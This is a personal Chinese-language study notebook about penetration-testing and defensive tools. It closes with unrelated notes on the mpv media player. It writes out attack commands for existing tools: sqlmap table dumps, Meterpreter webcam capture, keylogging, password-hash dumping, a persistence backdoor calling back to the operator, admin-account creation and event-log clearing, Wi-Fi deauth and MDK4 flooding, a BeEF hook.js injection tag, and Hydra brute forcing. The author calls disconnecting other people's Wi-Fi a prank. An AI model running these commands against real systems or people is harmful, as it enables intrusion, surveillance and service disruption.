

# 紫队的诞生

2025.12.21记录：两个月前的笔记全灭了，今天起朝花夕拾，顺便再加上蓝队笔记，红蓝结合成紫，因此称为紫队的诞生

## 工具类型分类

### 1. 网络流量监控 / 入侵检测 (IDS/IPS)

- **Suricata** → 高性能 IDS/IPS，实时检测恶意流量
- **Zeek (原 Bro)** → 网络安全监控，深度流量分析
- **Malcolm** → 流量分析套件，结合 Suricata/ZeeK 提供可视化

👉 类型：检测型工具（侧重发现攻击行为）

### 2. 日志收集与安全信息事件管理 (SIEM)

- **Elastic Security (ELK Stack)** → 日志集中、搜索、告警、可视化
- **Arkime** → 全包捕获与索引，支持流量回溯分析

👉 类型：监控与分析型工具（侧重日志与事件管理）

### 3. 事件响应与协作平台

- **TheHive** → 安全事件响应平台，工单管理与团队协作
- **Cortex**（常与 TheHive 配合）→ 自动化分析与响应

👉 类型：响应型工具（侧重处理与协作）

### 4. 漏洞管理与防御评估

- **GVM (Greenbone Vulnerability Manager)** → 漏洞扫描与管理
- **OpenVAS** (GVM 的核心引擎)

👉 类型：评估型工具（侧重发现系统弱点）

- 不仅仅是攻击工具箱（像传统 Kali Linux 那样），
- 而是一个 攻防一体化平台，既能做红队渗透，也能做蓝队防御，还能做紫队演练。

蓝队工具集（部分）：

识别，防护，检测，恢复，响应（大概是）

红队工具集（部分）：

蓝队基本工作：识

## 🔍 信息收集 (Information Gathering)

- **Nmap**: 网络扫描与主机发现
- **Recon-ng**: 模块化的网络侦察框架
- **theHarvester**: 收集电子邮件、域名、用户名等公开信息

## 🛡️ 漏洞分析 (Vulnerability Analysis)

- **Nikto**: Web服务器漏洞扫描器
- **OpenVAS**: 全面的漏洞评估系统
- **sqlmap**: 自动化 SQL 注入工具

## 🔧 漏洞利用 (Exploitation Tools)

- **Metasploit Framework**: 最强大的漏洞利用平台
- **BeEF**: 浏览器漏洞利用框架
- **Searchsploit**: 本地漏洞数据库搜索工具

## 👤 权限提升 (Privilege Escalation)

- **Linux Exploit Suggester**: 推荐本地提权漏洞
- **Windows Exploit Suggester**: 适用于 Windows 系统的提权建议工具

## 👤 后渗透 (Post Exploitation)

- **Empire**: PowerShell 和 Python 后渗透框架
- **Meterpreter**: Metasploit 的后渗透模块
- **Netcat**: 万能的网络工具, 可用于反弹 shell

## 📶 无线攻击 (Wireless Attacks)

- **Aircrack-ng**: 破解 Wi-Fi 密码
- **Wifite**: 自动化无线攻击工具
- **Reaver**: 攻击 WPS 协议

## 🔑 密码攻击 (Password Attacks)

- **John the Ripper**: 密码破解工具
- **Hydra**: 支持多种协议的暴力破解工具
- **Hashcat**: GPU 加速的密码破解工具

## 📁 工具管理与辅助

- **Kali Tweaks**: 快速配置 Kali 环境
- **CherryTree**: 笔记管理工具, 适合记录渗透测试过程
- **Burp Suite**: Web 应用安全测试平台 (社区版预装)

红队工具集 (部分):  
查, 分析, 后渗透, 漏洞利用, 权限提升, 无线攻击, 密码攻击

红队基本工作: 侦



# ***nmap***基础

nmap是新手启程之路，也是检测局域网设备和端口的实用工具

# 基础命令

`nmap -V` 查看nmap版本号

`nmap 192.168.1.1` 扫描这个ip的端口号

`nmap 192.168.1.1 192.168.1.2` 扫描多个ip的端口

`nmap 192.168.1.0/24` 扫描尾部从0到256的所有ip和端口

`nmap -p 1-1000 192.168.1.1` 设定端口扫描区间

`nmap -sT 192.168.1.1` 使用三次握手，更稳定

`nmap -sS 192.168.1.1` 半开放扫描，更隐蔽

`nmap -sn 192.168.1.0/24` 只扫描ip尾部从0到256的ip,忽略端口

`nmap -sV 192.168.1.1` 扫描端口对应的服务版本

`nmap -O 192.168.1.1` 检测目标操作系统

## 进阶-高级隐蔽

nmap可以使用--source-port指定扫描时使用的源端口号：

```
nmap -sS --source-port xx 192.168.1.1
```

搭配-sS可以提高隐蔽程度，因为它：

只发送 TCP 的 SYN 包(连接请求)， 果目标端口开放，会返回 SYN-ACK，Nmap 收到后立即发送 RST(重置)包，不完成三次握手，这样就不会建立真正的连接，很多系统不会记录日志；避免被防火墙和 IDS 发现，因为没有完整连接，很多防火墙、入侵检测系统(IDS)不会触发告警；而且可以不需要root权限即可扫描

没有--source-port，nmap会随机选择一个临时端口作为扫描数据包的源端口。但某些防火墙或 IDS 会根据源端口来判断是否允许数据包通过

这些端口包括：

DNS 53

HTTP 80

HTTPS 443

# ***Recon-ng*基础**

Recon-ng是一个模块化的网络侦查框架，可以进行目标机器的自动化收集，工作框架和metasploit比较像

# 使用指南

在终端使用recon-ng启动

workspaces create xxx 创建名为xxx的工作区

workspaces list 列出已有工作区

workspaces select xxx 选中xxx工作区

-----  
add domains xxx.com 添加目标域名

add hosts 192.168.1.1 添加目标主机

-----  
show modules 列出可用模块

search xxx可以搜索模块

show info查看模块说明和参数

modules load recon/domains-hosts/bing\_domain\_web 加载来自信息收集模块/从域名收集主机/使用bing搜索收集子域名的模块

-----  
设置模块参数这一块还需研究，下面给的可能不准确

show options

set SOURCE xxx.com

设置模块所需参数， 目标域名、API密钥等

-----  
run 运行

-----  
show hosts

show domains

查看收集到的主机，域名等信息

-----  
export csv xxx.csv 把结果导出csv文件



# 常用模块

## 1. 信息收集模块：

recon/domains-hosts/bing\_domain\_web 使用bing搜索收集子域名

recon/domains-hosts/google\_site\_web 使用google搜索收集子域名

recon/hosts-hosts/resolve 把域名解析为IP地址

recon/hosts-hosts/ipwhois/查询IP地理位置和归属信息

recon/contacts-contacts/hibp\_breach 查询邮箱是否泄漏 （需要API）

## 2. 漏洞识别模块

recon/hosts-vulnerabilities/xssed 查询目标是否存在XSS漏洞

recon/hosts-vulnerabilities/shodan\_hostname 使用Shodan搜索主机漏洞 （需要API）

## 3. 社交分析模块

recon/profiles-profiles/profiler 查询某用户在哪些网站注册

recon/profiles-profiles/namechk 使用namechk检查用户名占用情况

## 4. 数据导出模块

export/csv 把收集到的数据导出为scv文件

export/json 把收集到的数据导出为json文件

## 5. 辅助模块

auxiliary/file 从文件导入数据

auxiliary/geoip 查询IP的地理位置

-----



# Wireshark

Wireshark这一块的我也不说啥介绍了，我本来想给它新开一个栏目的，后来想想还是算了，作为网络抓包器的神，我们网络安全学院的windows 7机房都有安装这个软件，这玩意都可以“明面”做什么，我将在下面介绍

# 监控模式

Wireshark可以监控网卡能捕获到的所有packet，如果想要单独监控特定wifi也可以，还是需要和aircrack联动才可以做到，首先，懂得都懂，先把无线网卡转为监控模式：

```
sudo airmon-ng start wlan0
```

然后打开wireshark，选择wlan0mon，然后就可以看到附近所有已经过的数据包了

但了解监控模式工作方式的都知道，此时的无线网卡只能主动搜索频段为2.4GHz的网络，默认不搜索5GHz以上的网络，如果要抓取特定5G网络（或者其他特定任意网络），需要先了解目标WIFI所在的频道号，Kali Linux的KDE桌面环境可以在网络小组件看到所有WIFI的频段和频道，记好再切换到监控模式哦，切换后就不能直接看了！

```
sudo iwconfig wlan0mon channel 36 #切换监控的频道号为36，然后Wireshark就可以监控36号频道的所有wifi了
```

如果要监控特定WIFI，可以试试这个：

在wireshark界面上方的过滤器输入 wlan addr2 == [MAC地址]



# Nikto基础

Nikto是一款开源的 Web 服务器漏洞扫描器，主要用于发现网站服务器上的潜在安全问题， 危险文件、过时服务、配置错误等。它是 Kali Linux 中最常用的 Web 渗透测试工具之一

扫描速度较快，但不隐蔽，容易被IDS/防火墙记录，可搭配 Burp Suite、Nmap 等工具进行综合分析

# 基本使用

nikto -h [URL] #扫描指定url地址或者ip,默认扫描80端口，执行后它会检测服务器类型，版本，危险文件等

-----

可选参数：

-h 指定目标地址

-p 指定端口

-ssl 扫描https服务，或者在url添加https://

-Tuning x 控制扫描类型（ 跳过DOS测试）

-Display V 显示详细输出

-output [html文件] 结果保存为html文件

-Format htm 指定输出格式（ htm, txt, csv, xml）

-useragent 设置自定义用户代理

-useproxy 使用代理扫描

-timeout 设置超时时间

# SQLmap基础

这是一款自动化 SQL 注入测试工具，可以快速发现并利用 Web 应用中的数据库注入漏洞它：

1. 自动检测并利用SQL注入漏洞
2. 支持多种数据库（MySQL、PostgreSQL、Oracle、SQL Server等）
3. 可以枚举数据库、表、字段
4. 可以直接获取数据、甚至直接执行系统命令

基本调用方式：sqlmap -u "http://xxx/参数?id=1"

常用参数：

-u -> 指定目标URL

--dbs -> 枚举所有数据库

--tables -D '数据库名' -> 枚举特定数据库的表

--dump -D '数据库名' -T '表名' -> 导出某个表的数据

--batch -> 自动选择默认选项，避免交互

--cookie="PHPSESSID=xxx" -> 果需要登录状态，可以添加

-p '参数名' -> 指定要测试的参数



# 实例流程

目标网址：`http://arthur.test.com`

在这个网址搜索一个值1，返回URL=`http://arthur.test.com/item?id=1`，就用这个网址下手

检测注入点：

`sqlmap -u "http://arthur.test.com/item?id=1"`

返回该数据库的相关信息（数据库类型，版本）

枚举数据库：

`sqlmap -u "http://arthur.test.com/item?id=1" --dbs`

会输出一些数据库，但其中：`mysql / information_schema / performance_schema / sys`都用于存放系统数据而不是用户数据，通常不用看他们

比 我看中一个数据库：`meme`

查看特定数据库的表：

`sqlmap -u "http://arthur.test.com/item?id=1" -D meme --tables`

会输出meme数据库的表，比 我看中一个表：`hehe`

查看特定表的字段：

`sqlmap -u "http://arthur.test.com/item?id=1" -D meme -T hehe --dump`

就可以获得hehe里面的所有内容了

# OpenVAS基础

OpenVAS是漏洞扫描器，主要用于发现目标系统的安全漏洞。它通过图形界面(GVM)进行管理，适合进行全面的漏洞评估

但是kali linux并不预装openvas，还需要手动安装：

```
sudo apt install gvm
```

然后执行：

```
sudo gvm-setup来初始化
```

最后会出现一个ip地址，通过浏览器启动web interface进行下一步操作

修改默认用户（admin）密码：

```
sudo runuser -u _gvm -- gvmc --user=admin --new-password=1234
```

-----

创建扫描任务：

1. 添加目标：

菜单栏选择 Targets

设置目标 IP 或域名

可配置端口范围、认证方式等

2. 创建任务：

菜单栏选择 Tasks

创建新任务，关联目标

选择扫描配置( Full and Fast)

3. 启动扫描：

点击任务→ Start

等待扫描完成(时间取决于目标复杂度)

4. 查看结果：

菜单栏选择 reports

查看漏洞详情、风险等级、修复建议

可导出为PDF，HTML等格式

后渗透

# ***Metasploit Payload Generator***

Metasploit是一个模块化工具，内置很多功能，它有两大渗透方式：tcp和http

tcp适用于windows 8.1及以下和android 13及以下的操作系统，优点是需要的操作比较少

http适用于windows任何系统，优点是对windows的威慑力很强

# 会话功能

进入目标系统会话后，可以进行一些有意思的活动

## 1. 了解目标

sysinfo #系统信息

getuid #当前用户

getprvs #当前权限

ipconfig #网络信息

ps #进程列表

## 2. 屏幕截图，摄像头获取

screenshot #截图

webcam\_list #获取可用摄像头

webcam\_namp -i 1 -v false #在不启动目标图片查看器调用第一个摄像头拍照

record\_mic -d 10 #麦克风录制10秒

## 3. 文件系统访问

cd C:\\ 指向C盘

ls #列出目录

search -f \*.\* -d C:\\Users #在特定目录搜索文件

download C:\\Users\\xxx\\\*.\* #下载文件到本地

upload xxx C:\\xxx\\ #把文件上传到指定位置

## 4. 凭证获取

hashdump #转储所有用户密码哈希值

## 5. 提取万物

run post/windows/gather/enum\_xxx #视使用的工具决定效果

## 6. 内网探测

run arp\_scanner -r xxx (原理类似namp) #扫描多个IP

run post/windows/gather/enum\_tcp #扫描端口

## 7. 后门和持久

run persistemce -U -l 60 -p 端口 -r 我的IP #创建持久后门，让目标随时随地被黑，60秒连一次，重启也不好使

## 8. 创建用户

shell - net user xxx 123 /add - net localgroup administartor xxx /add #创建一个用户，密码123,并将其定为管理员

## 9. 键盘记录

keyscan\_start #开始键盘记录

keyscan\_dump #查看记录的数据

keyscan\_stop #停止记录

## 10. 远程桌面

run getgui -e #RDP服务端部署，成功后使用RDP软件连接

run vnc #VNC连接

## 11. 提权

getsystem #提升权限至SYSTEM

## 12. 模拟权限

use incognito #查看可用令牌

list\_token -u

impersonate\_token DOMAIN\\xxx #模拟特定用户

## 13. 恶作剧

ejectcd #弹出光驱

play xxx.wav #在目标机器播放wav文件

run vbs -f xxx.vbs #在目标机器显示消息框

lockdesk #锁屏

14. 隐藏/清理踪迹

migrate '其他程序PID号' #把自身进程渗透至其他进程

clearev #清除事件日志

run post/windows/manage/migrate #隐藏自身进程

# 无线攻击

因为我最近购买了一个distike deauther设备，使我对无线网络的攻防有了更大的兴趣，所以我提前记录了一些工具的使用笔记

目前我发现最有意思的工具还是MDK4,攻击性强也很好玩

# Aircrack-ng

aircrack-ng是无线攻击的一个工具组，它包含很多不同类型的工具，可以各司其职，完成各种各样的工作，它能做的事情也很多

-----  
因为wifi密码不同，握手包的加密内容也会变化，aircrack就可以通过字典来比对加密内容是否一致，就这个原理，果字典里没有目标密码就认吧

-----  
其实，aircrack更像是一种辅助工具，它可以转变网卡状态（监控模式，攻击模式），以供其他工具正常使用（Wireshark，MDK4）

默认情况下，我们电脑的网卡是处于普通模式（Managed Mode）的，此时网卡只接收和发送与自己关联的 AP（路由器）的数据，它会过滤掉其他 Wi-Fi 的数据包，只保留和自己连接相关的流量，因此能保证本身的上网功能而在监控模式(Monitor Mode)，网卡不再只关注自己连接的 AP，而是能接收**所有无线信道上的原始数据包**，包括 Beacon 帧、Probe 请求/响应、认证帧、数据帧等，这就是为什么能看到附近 Wi-Fi 的信息和已连接的客户端，可以用来抓包，分析，渗透测试

但不是所有无线网卡都可以使用监控模式（我的电脑无线网卡是Intel芯片组）



## 什么网卡支持监控模式

- Atheros 芯片组 (如 AR9271)
  - 在 Kali Linux 下兼容性最好，常见于 Alfa AWUS036NHA。
- Ralink/Mediatek 芯片组 (如 RT3070、MT7612U)
  - 常见于 Alfa AWUS036NH、Panda Wireless PAU09。
- Realtek 芯片组 (如 RTL8812AU、RTL8187L)
  - Alfa AWUS036ACH、TP-Link Archer T9UH 等型号支持。
- Intel 芯片组 (部分型号)
  - 在 Linux 下部分驱动支持，但兼容性不如 Atheros。
- 外置 USB 网卡
  - 通常比笔记本内置网卡更容易支持监控模式。

## 什么网卡不支持

- 大多数笔记本内置网卡
  - 厂商驱动往往只提供 Managed 模式，不支持 Monitor Mode。
- Windows 下的网卡
  - 原生驱动几乎不支持监控模式，需要特殊驱动或外置适配器。
- 廉价无品牌网卡
  - 芯片和驱动信息不透明，通常无法启用监控模式。

无线网卡进入监控模式后，就不能用来上网了，但还有其他联网手段：USB共享网络，蓝牙共享网络（速度很慢，但这确实是唯一快捷的方式了），以太网连接，再加一个无线网卡（会额外占用一个USB接口）

# 字典破解

`sudo airmon-ng start wlan0` #可以通过ip a来确定无线网卡硬件名，完成后会生成一个接口为wlan0mon

`sudo airodump-ng wlan0mon` #可以记录扫描到的网络BSSID（MAC地址）和信道号（channel）

`sudo airdump-ng -c [channel] --bssid [BSSID] -w capture wlan0mon` #针对目标网络进行数据包捕获，其中capture是即将保存的文件名

-----

可以玩阴的，使用deauth攻击，使已连接的设备重新连接，从而直接获取握手包：

`sudo aireplay-ng -O 10 -a [BSSID] wlan0mon`

-----

获取到握手包后，可以使用字典文件进行破解：

`aircrack-ng -w [字典文件] -b [BSSID] [capture文件]` #通过字典文件逐一尝试，但不排除字典里没有目标密码的可能性！

我翻了几个字典，的确找不到自己设置过的的密码，这个方法其实不算靠谱

# 半暴力破解

暴力破解本质也是字典，不过字典可以让用户自己生成，推荐用于玩笑！比如问一个人wifi密码是多少位，包不包含大小写字母等来快速破解wifi密码

-----  
crunch 8 12 abcdefg123456 -o 1.txt #生成一个全排列字典，每一行的字符最短为8,最长为12,只排列abcdefg123456这些字符，保存为1.txt，合理安排位数，文件会特别大，推荐仅用于破解8位数或更少的密码，9位数勉强，10位数以上的先爱惜好电脑再说

```
$ crunch 11 11 lxp85171729 -o dict.txt
Crunch will now generate the following amount of data: 376572715308 bytes
359127 MB
350 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 31381059609
^CCrunch ending at
```

我是服了已经，没人会为了一个密码出卖自己的电脑吧，11位数整出三百亿个排列方式这是要吓死谁

-----  
然后就可以使用字典破解法进行破解

或者：

crunch 8 12 abcdefg123456 | aircrack-ng -w - -b [BSSID] [capture文件]

-----  
或者使用hashcat的硬件加速功能更快破解：

hcxpcapngtool [capture文件] -o [22000文件] #把aircrack捕获的数据包转换为hashcat支持的格式

hashcat -m 22000 [22000文件] [字典文件]

-----  
说真的，我并不认为这个是真的在暴力破解，反正网络安全这一块的这十几年又没有白发展

# Deauther攻击

如果觉得密码破解不好用，那么这是比较好用的一个功能了，我在DISTIKE设备测试过deauther攻击来强制断开他人wifi连接或者阻止他人连接特定wifi,但缺陷是其不支持5Ghz WIFI，但在电脑上deauther的威慑力和可控性会大大提高，就是用起来不 dstike那么方便

```
-----
sudo airmon-ng start wlan0 #首先挂上自己的网卡，挂上后这台电脑暂时不能连网了（除非有网线）
sudo airodump-ng wlan0mon #探测能搜索到的wifi网络，然后锁定你想动手的WIFI
sudo airodump-ng -c [信道号] wlan0mon #信道号就是目标wifi对应的信道，这样就能把自己的网卡信道与其同步
sudo aireplay-ng -O 10 -e [APMAC名] -c [MAC] wlan0mon
其中-O代表是deauther攻击；10代表攻击次数，0则是无限制；-e代表使用ssid即ap名称，改为-b则是bssid即MAC码；-c可选踢掉特定mac，没有就是全踢
```

或者简单粗暴点：

```
sudo aireplay-ng -O -b [WIFI名] wlan0mon #踢出该wifi的所有连接并阻止后续连接（对于WPA2可以踢人，WPA3只能阻止后续连接，和distike deautcher设备一个效果）
-----
```

玩够了的话，就执行：

```
sudo airmon-ng stop wlan0mon 恢复网卡
-----
```

默认情况下，airodump只探测2.4Ghz的网络，因为5GHz的网络通道更多更复杂，如果要全面搜索会消耗大量时间（而且它本身就不支持），甚至损耗网卡，所以还是斟酌使用吧

# 📶 5GHz Wi-Fi 通道分布

根据 IEEE 802.11 标准，5GHz Wi-Fi 通道覆盖 **5150 MHz – 5850 MHz** 范围 [Wikipedia +1](#) ；

## 1. 非 DFS 通道（常用，稳定）

- **36, 40, 44, 48** → 频率范围 5.170–5.250 GHz
- **149, 153, 157, 161, 165** → 频率范围 5.745–5.825 GHz  
👉 这些通道不需要雷达检测，常见于家用路由器，连接稳定。

## 2. DFS 通道（需雷达检测）

- **52, 56, 60, 64** → 5.250–5.330 GHz
- **100–144** → 5.500–5.700 GHz  
👉 因为与气象雷达、军用雷达频段重叠，AP 必须监听是否有雷达信号，一旦检测到就要切换通道。

## 3. 特殊情况

- **中国**：通常开放 36–64、149–165，部分 DFS 通道可能受限。
- **美国/欧洲**：开放范围更广，但 DFS 通道仍需遵守监管要求。

## 📊 对比表

通道范围	类型	是否常用	说明
36–48	非 DFS	✅ 常用	家用路由器常见，稳定
52–64	DFS	⚠️ 较少	需雷达检测，可能切换
100–144	DFS	⚠️ 较少	常用于企业/室外 AP
149–165	非 DFS	✅ 常用	高功率，覆盖范围大

## ⚠️ 注意事项

- **DFS 通道**在实验时可能导致工具报错或信号丢失，因为 AP 会自动切换。
- 不同国家开放范围不同，Linux 下可以用 `iw list` 查看网卡支持的信道。
- 在渗透测试或实验时，建议优先选择 **36–48 或 149–165** 这些非 DFS 通道。

✅ 总结：5GHz Wi-Fi 通道主要是 **36–48、52–64、100–144、149–165**，其中 **36–48 和 149–165** 最常用，DFS 通道需要额外雷达检测机制。

# ***Wifite***

这个工具实质是一个自动化脚本，结合了aircrack-ng, reaver, pixieWPS等工具，实现自动化

## MDK4

如果你觉得aircrack的密码破解，踢人已经很牛逼了，那么这玩意一定会给你开眼界（给我也开眼了）  
这玩意也得结合aircrack的部分功能使用：

```
sudo airmon-ng start wlan0 #把自己的网卡暂时“献祭”了
```

# 攻击手段

**+实验环境限定：这种攻击只能在自己设备和网络上测试，公共网络上使用违法**（恶作剧什么的我觉得无所谓了）  
同样的，mdk4默认只针对2.4G网络攻击， 果要攻击5G网络，需要指定通道号

## 1. Deauth:

aircrack的deauth有个缺陷，就是只能针对特定信道的特定wifi攻击，而mdk4就牛逼了，可以把能看到的所有wifi全干了

```
sudo airodump-ng wlan0mon #锁定信道号
```

```
sudo mdk4 wlan0mon d -c [信道号]
```

果你想一次攻击所有能看到的wifi,就把-c去掉:), 果想针对特定wifi,可以使用-B+BSSID/-E+ESSID

## 2. Beacon:

beacon攻击是aircrack没有的，其实他俩唯一重合功能也就deauth，beacon的作用是创建大量虚假热点，没有实质性伤害，就是纯捣乱

```
sudo mdk4 wlan0mon b -f [包含SSID的文本文件]
```

文本文件格式：

wifi1

wifi2

wifi3

以此类推

没有文件，就会自动生成wifi名

## 3. Authentication

这个攻击手段就是伪造大量客户端请求连接wifi的行为，可以在短时间向wifi发送大量连接请求，可能会使wifi（暂时）瘫痪（可以拿自己手机试试）

```
sudo mdk4 wlan0mon a #可以添加-c指定信道号，或者-a指定某个AP（后面接BSSID哦）
```

## 4. Probe

这玩意的作用就是干扰AP，干扰客户端，有类似于Authentication与beacon的结合

```
sudo mdk4 wlan0mon p #参数同上
```

-----

MDK4还有很多攻击方式，但基本都偏向于安全测试，没啥意思



## MDK4 的高级攻击/测试模块

- Michael Countermeasures Exploitation

- 针对 TKIP 加密（WPA/WPA2 TKIP）的“Michael”校验机制。
- 通过伪造错误的 MIC（Message Integrity Code）触发 AP 的防御机制，使其短时间内拒绝服务。
- 主要用于验证 TKIP 的脆弱性。

- EAPOL Start and Logoff Packet Injection

- EAPOL 是 WPA/WPA2 握手协议的一部分。
- 通过注入大量 Start/Logoff 包，干扰客户端与 AP 的认证过程。
- 可导致客户端频繁掉线或无法完成握手。

- Attacks for IEEE 802.11s mesh networks

- 针对 Wi-Fi Mesh 网络（802.11s）的特殊攻击。
- Mesh 节点之间需要维护路由表，攻击者可以伪造路由信息或洪水请求，导致 Mesh 网络不稳定。

- WIDS Confusion

- WIDS = Wireless Intrusion Detection System。
- 通过伪造异常流量，混淆或绕过无线入侵检测系统。
- 用于测试 WIDS 的可靠性和抗干扰能力。

- Packet Fuzzer

- 类似于协议模糊测试工具。
- 向 AP 或客户端发送畸形/随机化的 Wi-Fi 帧，测试协议栈的健壮性。
- 常用于发现潜在的实现漏洞。

- Proof-of-concept of WiFi protocol implementation vulnerability testing

- 概念验证模块，用来测试 Wi-Fi 协议实现中的已知或潜在漏洞。
- 更偏研究用途，而不是常规攻击。

# 常见频段

- 2.4G:
- 2.437G 通道6
- 5G:
- 5.745G 通道149

## 漏洞利用

# BeEF

BeEF是一个用于浏览器安全测试的框架，可以测试浏览器在面对恶意脚本时的防御能力，展示 XSS 攻击的危害和防御方法，在合法授权的环境里模拟浏览器攻击

但是XSS攻击已经很老了，现代的网页和浏览器对其有一定的防御能力，所以建议仅用于测试基本使用：

```
sudo beef-xss
```

然后会启用web服务，首次使用时会提示设置密码，用户名为默认beef

beef的核心是hook.js，将其注入到目标网页中就可以进行进行一些操作， 信息收集，社会工程测试，网络探测等hook.js注入方式：

1. 在要控制的HTML加入：

```
<script src="<你的BeEF服务器IP>:3000/hook.js"></script>
```

2. 通过XSS漏洞注入， 果目标没有XSS漏洞，BeEF的乐趣也确实少了很多

# SearchSploit

SearchSploit是Exploit Database提供的一个命令行工具，可以用于本地搜索漏洞利用代码和PoC，核心作用就是提供一个离线漏洞搜索引擎

可以与nmap, msfconsole等工具结合

基本使用：

`searchsploit -u` #从exploit-db获取漏洞库更新

基本搜索：

`searchsploit wordpress` #搜索关键词， `wordpress`可以返回其漏洞利用方式

精确搜索：

`searchsploit -t "Apache Struts"` #可以精确匹配标题，适合查找特定软件版本

显示路径：

`searchsploit -p 12345` #根据exploit-id显示本地路径，方便复制查看源码

复制源码：

`searchsploit -m 12345` #把exploit-id对应的代码复制到当前目录，适合快速调用或修改

搜索特定版本号：

`searchsploit apache 2.4` #只搜索2.4版本的apache

其他参数：

`-w` #显示exploit-db在线链接

`-j` #输出为json格式，方便脚本调用

# 密码攻击

就像aircrack的无线密码破解一样，这类的密码攻击也是暴力破解为主

# John

全称John the Ripper是一个密码破解工具，包含三种破解方式：单一模式、字典模式、增量模式

首先把目标密码文件保存到一个文件里，然后执行

`john --single [密码文件名]` #基于用户名和简单规则，速度快，范围小

`john --wordlist=[字典文件名] [密码文件名]` #使用字典文件

`john --incremental [密码文件名]` #列举所有字符组合，强效但是特别慢，只可以用于没有合适字典的前提

-----

特性介绍：

单一模式：基于用户名和文件内容，会把用户名、登录名、以及哈希文件里的相关信息作为密码候选，在用户名的基础上做一些变形，大小写，简单添加数字和符号

增量模式：由john内置的字符集和规则引擎自动生成所有可能的密码组合，由短到长逐步尝试，也就是说，它自己就是一个字典生成手段

# Hydra

Hydra是一个支持多协议的暴力破解工具

基本使用：

```
hydra -l [用户名] -p [密码] [目标IP] [服务]
```

例：

```
hydra -l arthur -p 0 192.168.1.10 ssh #通过ssh登录某台电脑
```

```
hydra -L users.txt -P passwords.txt 192.168.1.10 ftp #使用users.txt和passwords.txt字典文件进行批量尝试
```

```
hydra -l root -P pass.txt -s 2222 192.168.1.10 ssh #此举是开一个新的ssh端口2222登录目标的root用户，并用pass.txt内容逐一对密码
```

以上属于SSH 🔥 破，下面是HTTP Web表单爆破，用于网页登录：

```
hydra 192.168.1.10 http-post-form "/login:username=^USER^&password=^PASS^:F=Login failed" -L users.txt -P passwords.txt （这只是个例子，还得视HTML内容而定）
```

-----

常用参数（懒得打字了已经）：

参数	功能
-l	指定单一用户名
-p	指定单一密码
-L	用户名字典文件
-P	密码字典文件
-s	指定端口
-t	并发线程数（默认 16）
-v	显示详细尝试过程
-f	找到一个正确结果后立即停止

-w/W 设置延迟时间(秒)

-----

提示： 果线程数过高，或者延迟过低，可能会导致目标卡死， 果是web请求的话，可能会导致DoS效应，可以使用 -t, -w和-f参数提高延迟，降低效率，但能保证目标成活率











# 软件使用笔记

很多软件看似简陋，实际玩法多多

# ***mpv***

mpv是一个“绝对”万能的播放器，只打开软件，发现基本没有什么功能，但是它的功能都体现在命令行灵活使用以实现不同功能，这也是为什么我会特意为mpv开一个栏目，多看多记，才好玩

# 常用参数

播放控制：

--speed=0.5 设置播放速度为0.5

--loop 循环播放

--volume=50 设置音量为50%

输出方式：

--vo=gpu 使用gpu渲染，在播放高精度视频有用，避免掉帧

--gpu-api=vulkan/opengl 指定渲染API

--vo=x11 使用x11渲染机制，可以用于通过ssh播放视频

硬件解码：

--hwdec=auto 自动选择硬件解码

字幕设置：

--sub-file=xxx.srt 指定字幕文件

--sub-delay=2 字幕延迟2秒

--sub-font-size=40 设置字幕大小

窗口控制：

--fullscreen 默认全屏播放

--geometry=50%:50% 指定窗口位置，50%:50%是居中

--ontop 置顶窗口